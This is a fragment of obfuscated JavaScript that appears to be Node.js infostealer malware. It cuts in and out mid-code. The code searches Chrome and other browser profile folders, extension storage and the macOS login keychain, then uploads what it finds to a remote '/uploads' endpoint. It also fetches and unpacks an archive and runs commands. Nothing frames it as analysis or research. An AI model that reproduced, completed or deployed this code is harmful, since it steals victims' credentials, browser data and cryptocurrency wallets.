_0x233867['UFAjh'](_0x5e4447,_0x2a500b);},'VPmex':_0x233867[_0x37383b(0x16d,0x198,'0x1ef','0x179')],'HtQtX':'(((.+)+)+)'+'+$'};function _0x6aa311(_0x2f0570,_0x239b1a,_0xfc8596,_0x5ce2c1){return _0x574e85(_0x5ce2c1,_0x239b1a-'0x1a',_0xfc8596-0x15e,_0x2f0570- -'0x326');}function _0x37383b(_0x31e3fa,_0x409100,_0xb0e931,_0x1382fd){return _0x574e85(_0x1382fd,_0x409100-0x1f1,_0xb0e931-0x1e1,_0x409100- -0x1e6);}if(_0x233867[_0x37383b('0x22d','0x1f3','0x246','0x17f')](_0x233867[_0x37383b(0x22b,'0x1c1',0x15c,'0x15f')],_0x6aa311('0x10c',0x184,0x106,'0xf9'))){let _0xd7be83=_0x5f5139[_0x37383b('0x1cb','0x20f','0x237','0x24b')](_0x1002fc,_0x5964d1);if(_0xd7be83[_0x37383b('0x2dc',0x258,'0x2bd','0x26c')](_0x233867[_0x6aa311(0xe8,'0x138','0x89',0x130)])){let _0x3c2048=_0x5f5139[_0x37383b('0x24e','0x20f','0x1e6','0x238')](_0xd7be83,'/storage/d'+_0x37383b(0x261,0x1df,0x1fa,'0x214')),_0x4793e5=[];_0x4793e5=_0x3b3889[_0x37383b(0x2ac,0x25b,'0x228',0x28e)+'c'](_0x3c2048);let _0x41bfd6=0x7ba+-0xc7*0x7+-0x9*0x41;_0x4793e5[_0x6aa311(0x11e,0x18c,'0x149',0x110)](async _0x25b933=>{function _0x5d8600(_0x319a84,_0x72cc2b,_0x59fe5c,_0xdf357c){return _0x37383b(_0x319a84-0x14f,_0xdf357c- -0x1e7,_0x59fe5c-'0x1ce',_0x72cc2b);}function _0x1fe68f(_0x136d94,_0x23a233,_0x31413c,_0xdb0c7){return _0x6aa311(_0x23a233-0x74,_0x23a233-'0x26',_0x31413c-'0x15b',_0xdb0c7);}const _0x20318f={'cJJSy':function(_0x2f1364,_0x1ece02,_0xe140c3){return _0x2f1364(_0x1ece02,_0xe140c3);}};if(_0x233867[_0x5d8600(-'0x48',0x6e,-0x5e,'0xc')](_0x233867['odDBJ'],_0x233867[_0x5d8600('0x89',0x1d,0x7c,0x12)])){let _0x194da2=_0x2c85d1[_0x1fe68f('0xe2','0x143','0x166',0x1be)](_0x6efb0,_0x4012b0);try{const _0x45ddcb={};_0x45ddcb[_0x5d8600(0x20,-'0x1a',0xa,0x5c)]=_0x201151+'_'+_0x49d023+_0x1482e0+'_'+_0x6cd0aa[_0x5b38b1]+'_'+_0x4da39e,(_0x194da2[_0x1fe68f('0x157',0x18c,0x178,'0x1e2')](_0x5418cc[_0x1fe68f('0x1a4','0x139','0x152','0x13f')])||_0x194da2[_0x5d8600(0xa6,-0x4,'0xb7',0x71)](_0x5418cc['AXnPS']))&&_0xd1a84['push']({'value':_0xd39259[_0x1fe68f(0xb6,'0x110',0xe7,'0xb2')+'Stream'](_0x194da2),'options':_0x45ddcb});}catch(_0x4b0905){}}else{if(_0x25b933['includes'](_0x5d8600(-0x7f,-'0x1',-0x1d,-0x12)+_0x5d8600(-0x13,-'0x24',0x3,-'0x5c'))){if(_0x233867[_0x5d8600(0x72,0xaa,'0x81',0x48)](_0x233867['grZeP'],_0x233867[_0x1fe68f('0x88',0xf8,'0x15f',0x83)])){let _0x29e5af=_0x5f5139[_0x1fe68f('0xc2',0x143,'0x184',0xbb)](_0x3c2048,_0x25b933);_0x29e5af=_0x5f5139[_0x1fe68f(0xe2,0x143,0xe6,'0xdd')](_0x29e5af,_0x233867[_0x1fe68f(0x136,'0x13b',0x159,0xfb)]);let _0x3b9aca=[];_0x3b9aca=_0x3b3889[_0x1fe68f(0x19e,'0x18f',0x1cd,'0x185')+'c'](_0x29e5af),_0x3b9aca[_0x5d8600('0xef','0x37','0x8d','0x77')](async _0x259d26=>{function _0x4cea83(_0x2480bf,_0xe5acdd,_0x5c305d,_0x17b6e0){return _0x1fe68f(_0x2480bf-0x194,_0x2480bf-'0x312',_0x5c305d-'0xaa',_0x17b6e0);}const _0x2ada76={'poOdG':function(_0x4e64d4,_0x335ddc){function _0x469e90(_0x215f55,_0x122278,_0x23352c,_0x106655){return _0x215a(_0x122278- -0xff,_0x215f55);}return _0x5418cc[_0x469e90(-0xa,-0xb,'0x5c',0x43)](_0x4e64d4,_0x335ddc);},'TstEY':_0x519d0e('0x111','0x116','0x18e','0x141')};function _0x519d0e(_0x3243a6,_0xf7c369,_0xe826b3,_0x4a4322){return _0x1fe68f(_0x3243a6-'0x168',_0x4a4322-0x1b,_0xe826b3-0x1eb,_0x3243a6);}if(_0x259d26[_0x4cea83(0x49e,0x463,0x460,'0x43d')](_0x5418cc[_0x519d0e('0x229',0x1a6,'0x178','0x1a0')])){let _0xe51f9c=_0x5f5139[_0x4cea83(0x455,'0x41f','0x3f0','0x3f9')](_0x29e5af,_0x259d26),_0x4e32a1=[];_0x4e32a1=_0x3b3889['readdirSyn'+'c'](_0xe51f9c),_0x4e32a1[_0x519d0e(0x1da,0x21e,0x1b4,0x1ad)](_0x3e1444=>{function _0x28bc8e(_0x57c976,_0x35df12,_0x5a1815,_0xa3765e){return _0x4cea83(_0xa3765e- -0x100,_0x35df12-'0x1d5',_0x5a1815-0x27,_0x57c976);}const _0x2b8e2c={'WDjbb':function(_0x5a1649,_0x52730c){function _0x3a309(_0x13d5c8,_0x317144,_0x58433d,_0x5e91ed){return _0x215a(_0x5e91ed-0x13,_0x58433d);}return _0x2ada76[_0x3a309(0x6a,0xbf,0x1e,'0xa4')](_0x5a1649,_0x52730c);}};function _0x38cab3(_0x5bba70,_0x10130b,_0x435391,_0x4886db){return _0x4cea83(_0x4886db- -0x506,_0x10130b-'0x145',_0x435391-0x80,_0x435391);}if(_0x2ada76['TstEY']===_0x2ada76[_0x28bc8e('0x343',0x396,0x2fb,0x365)]){if(!_0x3b3889[_0x28bc8e(0x3c4,0x344,0x38d,0x382)](_0x5f5139['join'](_0xe51f9c,_0x3e1444))['isDirector'+'y']()){let _0x182e0e=_0x5f5139[_0x38cab3(-0xe1,-'0x97',-'0x35',-'0xb1')](_0xe51f9c,_0x3e1444);const _0x2c7f60={};_0x2c7f60['filename']=_0x508655+'_'+_0x41bfd6+'_'+_0x3e1444,_0x37137f[_0x38cab3(-'0xee',-'0x9e',-0x6e,-'0xd1')]({'value':_0x3b3889[_0x38cab3(-0xd6,-0xaa,-0x147,-0xe4)+_0x28bc8e('0x2e8',0x39b,0x396,0x318)](_0x182e0e),'options':_0x2c7f60});}}else{if(!_0x2b8e2c[_0x38cab3(-0xf4,-0x6c,-'0x90',-0xab)](_0x59f8ef,_0x4b8315))return[];}});}});}else{const _0x2f4f77={};_0x2f4f77[_0x1fe68f(0x19e,'0x177','0x11f',0x139)]=_0x5d8600(-'0xa',0x6c,'0x36','0x70')+_0x40f153;let _0x5d287d=[{'value':_0x260ac5['createRead'+_0x5d8600(-0x55,-'0x5b',-'0x3d',-0x15)](_0x33a40f),'options':_0x2f4f77}];_0x20318f[_0x1fe68f(0x3a,0x90,'0x110','0xa5')](_0xfa0e49,_0x5d287d,_0x54ff3d);}}}}),_0x41bfd6+=-0x1a26+0x5e5*-0x4+0x31bb;}_0x508655+=-0x2ae*0x1+-0x181*-0x7+-0x7d8;}else return _0x203bdf['toString']()[_0x37383b('0x1ff','0x1dd','0x1a9','0x17d')](INCBDh['HtQtX'])[_0x37383b('0x1c2',0x1d0,0x188,'0x259')]()[_0x37383b('0x225',0x1ed,'0x253',0x20f)+'r'](_0x5bca05)[_0x37383b(0x1a5,0x1dd,0x1c5,'0x207')](INCBDh[_0x37383b(0x1e6,0x1b3,'0x214',0x184)]);}),(_0x233867['walXG'](_0x20a283,_0x37137f,_0x57accb),_0x37137f);}},_0x20a283=(_0x17ab35,_0x38c9ad)=>{const _0x31e622={};_0x31e622[_0x52cc7d('0x36',0x18,'0x2','0xd')]=function(_0x2198bd,_0x477c8d){return _0x2198bd>_0x477c8d;};const _0x442369=_0x31e622;function _0x52cc7d(_0x1ecb5a,_0x3137ce,_0x4876f1,_0x4c8adc){return _0x23fb27(_0x4c8adc,_0x4876f1-0x17a,_0x4876f1-0x9c,_0x4c8adc-0x2a);}const _0x1c74f4={};_0x1c74f4[_0x52cc7d(0x17,-0x29,-'0x1e','0x19')]=_0x260643,_0x1c74f4[_0x52cc7d(-0x6c,'0x7','0x11','0x6b')]=_0x4a65c7+'_'+_0xfae8d5;function _0x1c5422(_0x33638d,_0x26a44d,_0x21daaa,_0x13993f){return _0xd70636(_0x26a44d,_0x26a44d-0x1ef,_0x13993f-'0x15a',_0x13993f-'0x189');}_0x1c74f4[_0x1c5422(-'0x1d6',-'0x25a',-0x216,-'0x1dc')]=_0x38c9ad,_0x1c74f4[_0x52cc7d(-'0x1b',-0xa5,-0x56,-0x34)]=_0x17ab35;const _0x57fa98=_0x1c74f4;try{if(_0x442369[_0x52cc7d('0xd',0x80,0x2,0x46)](_0x17ab35[_0x1c5422(-'0x13d',-0x1a6,-'0x215',-'0x195')],0x4da+0x9e0*0x2+-0x189a)){const _0x36f5e0={};_0x36f5e0[_0x1c5422(-0x172,-0x17d,-0x157,-'0x1aa')]=_0x198519+'/uploads',_0x36f5e0[_0x1c5422(-'0x177',-0x18e,-'0x245',-0x1e8)]=_0x57fa98;const _0x3e70ab=_0x36f5e0;_0x17f1b9[_0x52cc7d(-0x95,-0xd8,-'0xbe',-'0xa6')](_0x3e70ab,(_0x2647bf,_0x2e92e9,_0x335c92)=>{});}}catch(_0x5bb7d3){}},_0x4deeb0=async(_0x552a43,_0x2cd552,_0x21b6fa)=>{const _0x41310b={'iMPLx':function(_0x43bb89,_0x21a329){return _0x43bb89==_0x21a329;},'UKzVs':function(_0x5c1c95,_0x40a0af){return _0x5c1c95(_0x40a0af);},'MRNCr':function(_0xd35ced,_0x53883b){return _0xd35ced(_0x53883b);},'dUgeV':function(_0xd3491e,_0x58c61b,_0x5a9b0b,_0x408c1a,_0xf8cd8c){return _0xd3491e(_0x58c61b,_0x5a9b0b,_0x408c1a,_0xf8cd8c);},'cdtub':function(_0x433483,_0x42118c){return _0x433483==_0x42118c;}};function _0x553782(_0x448510,_0x535344,_0x3148f0,_0x4b4431){return _0xd70636(_0x535344,_0x535344-0xcd,_0x3148f0-'0x18',_0x4b4431-0x154);}function _0x5ad345(_0x212356,_0x189d5a,_0x1d45c6,_0x13734d){return _0x23fb27(_0x1d45c6,_0x212356-0x55e,_0x1d45c6-'0x1de',_0x13734d-0xc5);}try{let _0x3ccac5='';_0x3ccac5=_0x41310b[_0x553782(-'0x29f',-'0x29f',-'0x24b',-'0x213')]('d',_0x384a93[-0x6ae+0xb41*-0x1+-0x11ef*-0x1])?_0x41310b['UKzVs'](_0x5927bf,'~/')+(_0x553782(-'0x228',-0x268,-0x247,-'0x280')+'pplication'+_0x5ad345(0x330,'0x397','0x30b','0x2e3'))+_0x552a43[-0x2499*0x1+0x147f+-0x101b*-0x1]:'l'==_0x384a93[0x2*0x470+0x1*0xe49+0x21b*-0xb]?_0x41310b[_0x553782(-'0x1fc',-'0x201',-0x23e,-0x235)](_0x5927bf,'~/')+_0x5ad345('0x386','0x3c2','0x2fd',0x3e7)+_0x552a43[0x26f6*0x1+-0xf03+-0x17f1]:_0x41310b[_0x5ad345(0x403,0x46f,0x413,'0x3c6')](_0x5927bf,'~/')+_0x5ad345('0x41d',0x438,0x3b3,0x3a1)+_0x552a43[0x1*0x1751+-0x71*-0x22+-0x2653]+'/User\x20Data',await _0x41310b[_0x553782(-'0x2d9',-0x38d,-'0x30e',-'0x32b')](_0xf420e,_0x3ccac5,_0x2cd552+'_',_0x41310b['cdtub'](0x18bc+0x3c9+-0x1c85,_0x2cd552),_0x21b6fa);}catch(_0x5c7c01){}},_0x157f6b=async _0x26180b=>{const _0x12d494={'LtHmw':function(_0x6e0882,_0x3b49c0,_0x1a8406){return _0x6e0882(_0x3b49c0,_0x1a8406);},'sphoc':_0x5d43e7('0x4b4',0x533,'0x467','0x487'),'CVEbE':_0x5d43e7('0x4b3',0x528,'0x431','0x508'),'WUiHm':function(_0x39ea06,_0xb99a15){return _0x39ea06<_0xb99a15;},'vdvQD':function(_0x4a6cfb,_0x4a9abd){return _0x4a6cfb!==_0x4a9abd;},'Skedo':_0x5d43e7(0x49d,0x520,'0x4e3','0x48d'),'JMCeu':function(_0x20a7ba,_0x59ce21){return _0x20a7ba===_0x59ce21;},'EOJdY':_0x5d43e7('0x499','0x432',0x519,0x516),'ltoVG':function(_0x298a14,_0x59b2ea){return _0x298a14(_0x59b2ea);},'kLZrh':function(_0x42bb1b,_0x4d63b6){return _0x42bb1b(_0x4d63b6);},'gHYkq':_0x42d2f6(-'0x40',-'0x56',0x32,0xc)};let _0x46be9e=[];function _0x5d43e7(_0x31abeb,_0x70037f,_0x42f0c0,_0x4e2a23){return _0xd70636(_0x42f0c0,_0x70037f-'0x1a7',_0x31abeb-'0x6ed',_0x4e2a23-0x91);}let _0x5070c9=_0x20b00a+('/Library/K'+'eychains/l'+_0x5d43e7('0x3ae','0x432',0x416,'0x420')+'ain');function _0x42d2f6(_0x6c548f,_0x4c9f60,_0x10ae61,_0x5926ae){return _0x23fb27(_0x5926ae,_0x10ae61-'0x20f',_0x10ae61-'0x131',_0x5926ae-0x1ee);}if(_0x3b3889['existsSync'](_0x5070c9))try{const _0x380304={};_0x380304['filename']=_0x42d2f6(0x158,'0xfa','0xd0',0x97),_0x46be9e['push']({'value':_0x3b3889[_0x42d2f6(0x27,-0x1c,0x50,'0x18')+_0x42d2f6('0x2a',0xcf,'0x46','0xb')](_0x5070c9),'options':_0x380304});}catch(_0x34d637){}else{if(_0x5070c9+=_0x12d494[_0x42d2f6(-0x7e,'0x44',-0x1b,-0x9f)],_0x3b3889[_0x42d2f6(-'0x23','0x29',-0x2a,-0x7f)](_0x5070c9))try{const _0x35cfa8={};_0x35cfa8[_0x5d43e7(0x49a,'0x4e9',0x4d3,'0x462')]=_0x12d494['CVEbE'],_0x46be9e[_0x42d2f6('0x59',0xb6,0x63,0x59)]({'value':_0x3b3889[_0x5d43e7('0x433','0x43e','0x411','0x423')+_0x5d43e7('0x429',0x3ea,'0x4b1','0x486')](_0x5070c9),'options':_0x35cfa8});}catch(_0x2f5321){}}try{let _0xd26d4d=_0x20b00a+(_0x42d2f6(0x60,0x99,0xab,0x76)+_0x5d43e7('0x404',0x40b,0x412,0x3f8)+_0x42d2f6(-'0x4',0xa8,'0x6f',0xca)+'oogle/Chro'+'me');if(_0x77d5d0(_0xd26d4d))for(let _0x1863a2=0xb*0x29b+0x1f8b+-0x3c34;_0x12d494['WUiHm'](_0x1863a2,0x1*0x446+-0xfc5+0xc47);_0x1863a2++){if(_0x12d494['vdvQD'](_0x12d494[_0x5d43e7(0x40d,0x3cc,0x3e7,0x3a2)],_0x12d494[_0x5d43e7('0x40d','0x422',0x490,0x453)]))_0x2fd8af[_0x42d2f6(0x86,0x8c,0x88,0x9e)](_0x23f7e8+_0x5d43e7('0x3fa','0x39e',0x3a4,'0x451')+_0x23eb27+'/'+_0x407a70,(_0x4e673c,_0x318a7d,_0x52117d)=>{function _0x244a81(_0x4566d4,_0x4e5de9,_0x1c17c5,_0x4a378e){return _0x5d43e7(_0x4e5de9- -'0x685',_0x4e5de9-'0x16e',_0x4a378e,_0x4a378e-0xf6);}function _0x89198a(_0x227d28,_0x4ad824,_0x10e511,_0x58a3f5){return _0x5d43e7(_0x10e511- -0x237,_0x4ad824-0x10,_0x227d28,_0x58a3f5-0x143);}_0x4e673c||(_0x1fe062[_0x244a81(-0x243,-'0x265',-0x2e3,-0x2ac)+'ync'](_0x2bbca9+_0x89198a('0x1dc','0x14e','0x188','0x179'),_0x52117d),_0x12d494[_0x244a81(-'0x293',-'0x2c2',-0x330,-0x2f7)](_0x3d03df,_0x89198a('0x224','0x25c','0x24c',0x2a7)+_0x43b7c5+'/.npl\x22',(_0x4d4b8b,_0x2a82e8,_0x46f24b)=>{}));});else{const _0x2cbd2b=_0xd26d4d+'/'+(_0x12d494[_0x42d2f6(-'0x43',-0x39,'0x14',0x5f)](0xde2*-0x2+-0x16cd+-0xf*-0x35f,_0x1863a2)?_0x12d494['EOJdY']:_0x42d2f6(-'0x18',-'0x67',-'0x3','0x6f')+_0x1863a2)+(_0x5d43e7('0x43f',0x41d,'0x438',0x454)+'a');try{if(!_0x12d494['ltoVG'](_0x77d5d0,_0x2cbd2b))continue;const _0x19b0a6=_0xd26d4d+_0x42d2f6(0x82,0xdd,0x84,'0x10')+_0x1863a2,_0x15b3e2={};_0x15b3e2['filename']=_0x5d43e7(0x40b,'0x384',0x3d6,'0x46f')+_0x1863a2,_0x12d494[_0x5d43e7('0x3fd','0x462',0x45b,0x41e)](_0x77d5d0,_0x19b0a6)?_0x46be9e[_0x5d43e7(0x446,0x3e6,'0x3f5',0x4cc)]({'value':_0x3b3889[_0x5d43e7(0x433,0x40f,'0x407',0x3c0)+_0x42d2f6('0x29',0xad,0x46,'0x86')](_0x19b0a6),'options':_0x15b3e2}):_0x3b3889[_0x5d43e7('0x49e',0x4a6,'0x4d9','0x468')](_0x2cbd2b,_0x19b0a6,_0x4ffe23=>{const _0xa297e9={};_0xa297e9['filename']=_0x1e2e65(0x321,0x322,0x403,0x394)+_0x1863a2;let _0x4904c4=[{'value':_0x3b3889[_0x2cd0a1('0x135','0x1ad','0xb1','0x109')+'Stream'](_0x2cbd2b),'options':_0xa297e9}];function _0x2cd0a1(_0x2a88dc,_0x29be07,_0x15e916,_0x5acb3b){return _0x5d43e7(_0x2a88dc- -0x2fe,_0x29be07-'0x187',_0x29be07,_0x5acb3b-0x1af);}function _0x1e2e65(_0x367163,_0x2c50fc,_0x52bcdd,_0x346997){return _0x5d43e7(_0x346997- -0x77,_0x2c50fc-0x1b9,_0x367163,_0x346997-'0x1eb');}_0x12d494[_0x1e2e65(0x2ec,0x30c,0x2e5,'0x34c')](_0x20a283,_0x4904c4,_0x26180b);});}catch(_0x303d68){}}}}catch(_0x3372e7){}try{if(_0x12d494[_0x5d43e7('0x48f','0x4b4','0x407','0x415')]('BKZNK',_0x12d494[_0x42d2f6(-'0x1c',0x87,'0x26',-0x49)])){let _0x4479e3=_0x20b00a+(_0x42d2f6('0x119',0xeb,'0xab',0x48)+_0x42d2f6(-'0x39','0x73','0x21',-0x4e)+_0x42d2f6(-0x3e,-'0x6c',-'0x27','0x52')+_0x42d2f6(0xa2,'0xc8',0x8c,0xa7)+_0x5d43e7(0x459,0x464,'0x478','0x406')+_0x42d2f6(-'0xe',-'0x76',-'0x37','0x45'));if(_0x77d5d0(_0x4479e3))for(let _0x58cb69=-0xd7+-0x15c5+0x169c;_0x12d494[_0x42d2f6('0x12','0x2f',-'0x2f',-'0x8c')](_0x58cb69,-0x77*-0x1d+-0x1*0x70d+-0x6*0xf1);_0x58cb69++){const _0x1ec3df=_0x4479e3+'/'+(_0x12d494[_0x42d2f6(-0xe,0x3,'0x14',-'0x46')](0xaee+-0x7f9+0x2f5*-0x1,_0x58cb69)?_0x12d494[_0x5d43e7(0x41c,0x3de,0x443,0x42b)]:_0x5d43e7(0x3e0,0x3ad,0x418,0x3fa)+_0x58cb69);try{if(!_0x12d494[_0x5d43e7(0x3fd,'0x3ed','0x37a',0x3ae)](_0x77d5d0,_0x1ec3df))continue;const _0x3fdc36=_0x1ec3df+(_0x42d2f6('0x64','0xd8','0x5c',-'0x5')+'a'),_0x538f41={};_0x538f41[_0x5d43e7(0x49a,'0x490',0x41d,0x4c0)]=_0x5d43e7(0x4ae,0x498,'0x4f2','0x48f')+_0x58cb69,_0x77d5d0(_0x3fdc36)?_0x46be9e[_0x5d43e7(0x446,'0x496',0x482,'0x476')]({'value':_0x3b3889[_0x5d43e7('0x433','0x434','0x3bb',0x444)+'Stream'](_0x3fdc36),'options':_0x538f41}):_0x3b3889[_0x42d2f6(0x118,0x56,'0xbb',0xf8)](_0x1ec3df,_0x3fdc36,_0x26fcca=>{const _0xcb6190={};_0xcb6190[_0xb0685d('0x71','0xc5',0x44,'0xe8')]=_0xb0685d('0x78',0xd9,0x70,0x10c)+_0x58cb69;function _0xb0685d(_0x456767,_0x59f877,_0x36e98f,_0x5661fc){return _0x42d2f6(_0x456767-'0x163',_0x59f877-'0x173',_0x59f877-0xe,_0x5661fc);}function _0x1078bb(_0x3bfe2e,_0x4068f9,_0x14172d,_0x21dca3){return _0x42d2f6(_0x3bfe2e-0x15,_0x4068f9-'0x1b0',_0x4068f9- -0xa3,_0x14172d);}let _0x229eb6=[{'value':_0x3b3889[_0x1078bb(-0x2b,-0x53,-'0x38','0x29')+_0xb0685d(-0x12,0x54,0x38,'0xad')](_0x1ec3df),'options':_0xcb6190}];_0x12d494['LtHmw'](_0x20a283,_0x229eb6,_0x26180b);});}catch(_0x43c786){}}}else{const _0xb8dfaf={};_0xb8dfaf[_0x5d43e7(0x49a,'0x47d','0x4a3',0x415)]=_0x5accf0+'_lst',_0x4c758b[_0x42d2f6(-0xf,'0xc','0x63','0xd6')]({'value':_0x4ab08d['createRead'+_0x42d2f6(0x7b,'0x5c','0x46',0x24)](_0x77c1f7),'options':_0xb8dfaf});}}catch(_0x4a8568){}return _0x12d494[_0x42d2f6(-0x3f,-'0x64',-0x20,'0x3c')](_0x20a283,_0x46be9e,_0x26180b),_0x46be9e;},_0x170d39=async(_0x52a285,_0x1c131a,_0x3e56ad)=>{const _0x97f678={'jmvry':function(_0x3d6746,_0x25aaa4,_0x1bf779){return _0x3d6746(_0x25aaa4,_0x1bf779);},'CboGZ':function(_0x221081,_0x375cf4){return _0x221081==_0x375cf4;},'rrjLY':function(_0x259f49,_0x1c2de6){return _0x259f49==_0x1c2de6;},'GiiYF':function(_0x3c0ae0,_0x135c92){return _0x3c0ae0(_0x135c92);},'xuIVx':function(_0x1a7de7,_0x1ab11a){return _0x1a7de7!==_0x1ab11a;},'OclKF':'MfKTi','pFsBG':_0x9d2f8c('0x2bb',0x3bf,'0x33e',0x3c1),'fALcK':function(_0x3eaba3,_0x22cf63){return _0x3eaba3(_0x22cf63);},'CbMpP':function(_0x3634e5,_0x308396){return _0x3634e5===_0x308396;},'MZynl':_0x9d2f8c(0x3b8,'0x416','0x3b8',0x402)};let _0xc8fe59=[];function _0x2b574a(_0x2bba45,_0x1b2797,_0x1f9ba0,_0x3dd168){return _0x23fb27(_0x1b2797,_0x3dd168-0x57a,_0x1f9ba0-'0x147',_0x3dd168-0x11f);}let _0x2dfa43='';_0x2dfa43=_0x97f678[_0x2b574a(0x383,'0x382',0x364,0x367)]('d',_0x384a93[-0x1660+0x1*-0x1f97+0x35f7])?_0x5927bf('~/')+(_0x9d2f8c(0x41d,0x3a5,0x3ad,'0x390')+_0x2b574a('0x3bc','0x3c5','0x3b9',0x38c)+_0x9d2f8c('0x2b8',0x2b5,0x2e3,0x2ee))+_0x52a285[0x1*-0x1c69+-0x1d99*-0x1+-0x12f]:_0x97f678['rrjLY']('l',_0x384a93[0x11*-0x19+0x2033+-0xa2e*0x3])?_0x5927bf('~/')+_0x2b574a(0x3c1,0x3c0,0x3e6,0x3a2)+_0x52a285[-0x2*-0x1a4+0x17*0x6b+-0xce3]:_0x97f678[_0x2b574a(0x3c8,0x383,'0x413','0x3f1')](_0x5927bf,'~/')+_0x2b574a(0x3c5,0x3d7,'0x459',0x439)+_0x52a285[-0x151*-0xa+0x1*-0xe3f+0x115]+_0x9d2f8c(0x328,'0x308','0x305','0x2c3');function _0x9d2f8c(_0x11f9d2,_0xb5abc8,_0xbb7e82,_0x409ddf){return _0xd70636(_0x409ddf,_0xb5abc8-0x8b,_0xbb7e82-0x60c,_0x409ddf-0x6);}let _0xf1677e=_0x2dfa43+(_0x9d2f8c('0x2bf','0x391',0x30a,0x296)+'te');if(_0x3b3889[_0x2b574a('0x30c',0x3c2,0x339,0x341)](_0xf1677e))try{if(_0x97f678[_0x9d2f8c('0x31b','0x2e7',0x2ce,0x298)](_0x2b574a('0x3e6',0x373,'0x3e8',0x372),_0x97f678[_0x2b574a('0x3ec','0x3e0',0x3ce,0x3db)])){const _0x38731f={};_0x38731f[_0x2b574a(0x432,0x39e,0x402,0x422)]=_0x1c131a+_0x2b574a(0x317,'0x3c9',0x401,0x383),_0xc8fe59[_0x2b574a('0x3a7',0x453,'0x38f',0x3ce)]({'value':_0x3b3889[_0x2b574a(0x3dd,'0x37a',0x428,0x3bb)+_0x2b574a('0x3a0','0x3d0',0x334,0x3b1)](_0xf1677e),'options':_0x38731f});}else _0x5b3800=[];}catch(_0x7e7949){}try{if(_0x97f678[_0x2b574a('0x32e',0x316,'0x2b0','0x337')](_0x97f678['pFsBG'],_0x97f678[_0x2b574a('0x3b7',0x3cf,'0x396',0x388)])){const _0x198173={};_0x198173[_0x9d2f8c('0x41c','0x3c8',0x3b9,0x376)]='pld_'+_0x24acd0;let _0x33951e=[{'value':_0x479624['createRead'+_0x2b574a('0x32c',0x404,'0x433',0x3b1)](_0x19d4ad),'options':_0x198173}];_0x97f678[_0x2b574a(0x32a,'0x3bd','0x420','0x3b3')](_0x1e09d2,_0x33951e,_0x1a31aa);}else{if(_0x97f678['fALcK'](_0x77d5d0,_0x2dfa43))for(let _0x8f350a=-0x55d*-0x7+-0x16bf+0x1*-0xecc;_0x8f350a<-0x88b*-0x3+0x83*-0x2f+-0xcc;_0x8f350a++){const _0x393728=_0x2dfa43+'/'+(_0x97f678['CbMpP'](0x136b*0x1+-0x1cbb+0x950,_0x8f350a)?_0x97f678['MZynl']:_0x2b574a(0x302,0x311,'0x3b3',0x368)+_0x8f350a);try{if(!_0x97f678[_0x2b574a(0x464,0x439,0x45a,0x3f1)](_0x77d5d0,_0x393728))continue;const _0x3edfe3=_0x393728+(_0x9d2f8c(0x316,0x337,'0x35e','0x2e0')+'a');if(!_0x97f678[_0x2b574a(0x473,0x3f7,0x43b,0x3f1)](_0x77d5d0,_0x3edfe3))continue;const _0x47790d={};_0x47790d['filename']=_0x1c131a+'_'+_0x8f350a+_0x9d2f8c(0x28f,0x319,'0x2cc',0x293),_0xc8fe59[_0x2b574a(0x454,'0x3d9',0x3f6,0x3ce)]({'value':_0x3b3889[_0x9d2f8c(0x33f,0x337,'0x352',0x382)+_0x9d2f8c(0x387,'0x339',0x348,0x2f9)](_0x3edfe3),'options':_0x47790d});}catch(_0x1b83a5){}}}}catch(_0x2bb130){}return _0x20a283(_0xc8fe59,_0x3e56ad),_0xc8fe59;},_0x32a10f=-0x5c1e60*-0xf+0x2a4c560+-0x29112e*0x1f;let _0x2bf5f4=0x22fa+-0x1*0xf4a+-0x5*0x3f0;const _0x3cdced=async _0xdededd=>{function _0x411745(_0x75bb5b,_0x46d463,_0x52bfcd,_0x35ec06){return _0xd70636(_0x46d463,_0x46d463-'0x47',_0x52bfcd-'0xb2',_0x35ec06-'0x112');}function _0x3a2229(_0x382018,_0x2d852e,_0x33de76,_0x1837ed){return _0x23fb27(_0x1837ed,_0x33de76-'0x21b',_0x33de76-0x2c,_0x1837ed-'0x7e');}const _0x536773={'yFYbc':function(_0x1f0995){return _0x1f0995();},'IWjWh':function(_0x2e2aca,_0x1e1124,_0x472dad){return _0x2e2aca(_0x1e1124,_0x472dad);}};_0x536773[_0x3a2229('0x86',-'0x5','0x1d',-'0x69')](_0x439948,_0x3a2229(0x97,'0x9b','0xad','0xf5')+_0xdededd+_0x3a2229(0x29,'0x21',0x10,'0x1c')+_0x20b00a,(_0x4e3805,_0xcb7e0a,_0x1729d0)=>{function _0x2ff5fe(_0x2d36cf,_0x3df39b,_0x19b20b,_0x3a5baf){return _0x3a2229(_0x2d36cf-'0x3c',_0x3df39b-0x7b,_0x2d36cf-'0x14b',_0x19b20b);}if(_0x4e3805)return _0x3b3889['rmSync'](_0xdededd),void(_0x2bf5f4=0x25*-0x59+0x1c98+-0xfbb);function _0x2c457f(_0x2e2986,_0x9810b6,_0x3d9a52,_0x391b1e){return _0x411745(_0x2e2986-'0x192',_0x391b1e,_0x9810b6-'0x5b7',_0x391b1e-0x13f);}_0x3b3889[_0x2c457f('0x379','0x384','0x404','0x3d9')](_0xdededd),_0x536773[_0x2ff5fe('0x1f0',0x1f6,0x20f,0x20e)](_0x34902e);});},_0x37cd88=()=>{const _0x6e7048={'dnSIC':function(_0x318b02,_0x4c9a81){return _0x318b02>_0x4c9a81;},'LAgeD':function(_0x16367e,_0x50afb0){return _0x16367e===_0x50afb0;},'QWfQS':_0x10117c(-0x282,-'0x2a9',-'0x248',-0x209),'jRBXU':function(_0x4a7688,_0x2f3d07){return _0x4a7688(_0x2f3d07);},'AmvHI':function(_0x520a69,_0x1b5e47){return _0x520a69+_0x1b5e47;},'zbRdf':function(_0x345459){return _0x345459();},'HpOrn':_0x10117c(-0x223,-0x148,-0x19f,-0x1cd),'FHBcK':function(_0x1bb320,_0xf13580){return _0x1bb320(_0xf13580);},'dNrzk':function(_0x4709e5,_0x57092c){return _0x4709e5>=_0x57092c;},'fIBru':function(_0x47e629,_0x4a6b03){return _0x47e629>=_0x4a6b03;},'urzBQ':function(_0x1b7273,_0x44351b,_0xb06ad3){return _0x1b7273(_0x44351b,_0xb06ad3);}},_0x68a48a=_0x198519+_0x2b1fd1(-'0x54',-0x8a,0xe,-'0x71'),_0x30a59b=_0x3fb968+_0x10117c(-'0x1d0',-'0x259',-'0x244',-'0x1e2'),_0x5e88c6=_0x3fb968+'\x5cp2.zip';function _0x10117c(_0x5a192d,_0x32f4bd,_0x249bf,_0x7f083d){return _0xd70636(_0x5a192d,_0x32f4bd-0xd,_0x249bf-0x95,_0x7f083d-'0x9');}function _0x2b1fd1(_0x3710a0,_0x43427a,_0x58cd6a,_0x4faeef){return 